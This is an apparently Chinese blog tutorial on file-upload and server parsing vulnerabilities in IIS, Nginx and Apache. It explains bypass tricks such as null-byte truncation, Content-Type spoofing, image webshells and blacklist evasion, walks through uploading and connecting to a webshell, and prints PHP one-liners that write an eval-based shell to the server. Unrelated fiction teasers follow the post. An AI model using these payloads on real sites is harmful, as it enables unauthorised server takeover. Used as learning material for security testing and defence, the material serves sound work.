文件上传+解析漏洞

原理:文件上传漏洞是指在需要上传文件的地方没有对上传的文件的格式进行过滤限制,从而导致恶意用户上传恶意文件,getshell。
防御:设置白名单,对用户上传的文件进行过滤限制

常用攻击方法:

1.结合服务器解析漏洞上传恶意文件**(最后总结了一下常见服务器解析漏洞,不全,欢迎大家随时来补充)

2.利用图片马绕过对文件内容检测的防御方法:检测文件内容的时候,是根据文件开头是否有GIF89A这些,以此来判断是否是图片

3.绕过前端验证

4.修改Content-Type绕过上传恶意文件

5.空字节代码绕过漏洞,也叫神奇的00截断,此处的00指的是16进制的00

文件名00截断实现过程:

1)第一种方法:上传文件名为1.php.jpg格式的图马文件,抓包后,在php后面加上一个空格字符,然后到hex中将php后面的空格字符对应的20改为00后放行即可。

2)第二种方法:上传文件名为1.php%00.jpg格式的图马文件,抓包后,将%00进行url解码后放行即可。

请求包中包含上传目录的,可以尝试对上传目录进行00截断,原理都一样,话不多说,直接上实现过程:
上传路径/upload/,直接改成/upload/%00,再将%00进行url解码后放行即可。

6.一句话各种绕过的一个网址:https://blog.csdn.net/jaivy/article/details/77611738

上传文件绕过方法的我写在另一篇文章里,有兴趣的可以看下(仅仅是几种常用的绕过方法):https://www.cnblogs.com/xiaoqiyue/p/9990600.html

下面是一个简单的文件上传webshell的实例:

页面让上传一个文件,先上传一句话,然后抓包看看结果是什么

文件上传漏洞

可以看到它不让我们上传这个文件,但是并没有提示我们应该上传什么类型的文件,猜测应该是黑名单过滤,我们把文件后缀名改成php3试一下

image

成功上传,接下来就可以去网页上看看我们上传的文件有没有被解析了

image

欧克,成功,最后就只需要连接菜刀就可以了

image

解析漏洞:

一、IIS 5.x/6.0解析漏洞利用方法有两种

1.目录解析

/xx.asp/xx.jpg

漏洞原理:在网站下建立名字为 xx.asp的文件夹,其目录内的任何扩展名的文件都被IIS当作asp文件来解析并执行。(php的也是一样)

漏洞利用:

例如创建目录 images.php,那么如果把这个写有一句话木马的1.jpg文件上传进images.php这个目录下面,那么http://127.0.0.1/images.php/1.jpg 这个就是一个后门地址,可以直接用菜刀去连接

2.文件解析

xx.asp;.jpg (分号截断)

漏洞原理:在IIS6.0下的服务器默认不解析“;”后面的内容,也就是说xx.asp;.jpg会被服务器看成是xx.asp,解析成了asp文件

漏洞利用:上传一个写有一句话的1.asp;.jpg木马文件就可以直接用菜刀连接了(或者直接上传一个大马也可以直接访问了)

IIS6.0 默认的可执行文件除了asp还包含这三种

/xx.asa

/xx.cer

/xx.cdx

二、IIS 7.x/ Nginx <8.03解析漏洞

Nginx漏洞原理:
Nginx默认是以CGI的方式支持PHP解析的(即默认Fast-CGI为开启状态),普遍的做法是:上传一个名字为1.jpg,内容为:

<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>

的文件(其实就是利用了fputs这个函数),然后访问1.jpg/.php,在这个目录下就会生成一句话木马 shell.php

·IIS7.5解析漏洞

IIS7.5的漏洞与nginx的类似,都是由于php配置文件中,开启了cgi.fix_pathinfo,而这并不是nginx或者iis7.5本身的漏洞。

** 三、Nginx <8.03 空字节代码执行漏洞**

漏洞原理:Ngnix在遇到%00空字节时与后端FastCGI处理不一致,导致可以在图片中嵌入PHP代码然后通过访问xxx.jpg%00.php来执行其中的代码

影响版本:0.5.,0.6., 0.7 <= 0.7.65, 0.8 <= 0.8.37

四、利用apache解析漏洞绕过服务器端扩展名检测:

漏洞原理:Apache 是从右到左开始判断解析,如果为不可识别解析,就再往左判断. 这种漏洞存在于使用module模式与php结合的所有版本的Apache。

利用方法:将木马命名为 【1.php.adc】,在连接菜刀时,应该是http://.../1.php

五,IIS7.0,7.5和Nginx<8.03畸形解析漏洞(写webshell漏洞)

原理:在上传文件所在目录下创建一个一句话木马文件

实现过程:新建一个1.txt文件,内容为:

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[test])?>')?>

将文件保存成1.jpg格式,上传到服务器,假设上传路径为/upload,

上传成功后,直接访问/upload/1.jpg,然后我们会发现/upload目录下创建了一个一句话木马文件shell.php

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 158,847评论 4 362
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,208评论 1 292
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 108,587评论 0 243
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,942评论 0 205
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,332评论 3 287
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,587评论 1 218
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,853评论 2 312
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,568评论 0 198
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,273评论 1 242
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,542评论 2 246
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,033评论 1 260
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,373评论 2 253
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,031评论 3 236
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,073评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,830评论 0 195
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,628评论 2 274
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,537评论 2 269

推荐阅读更多精彩内容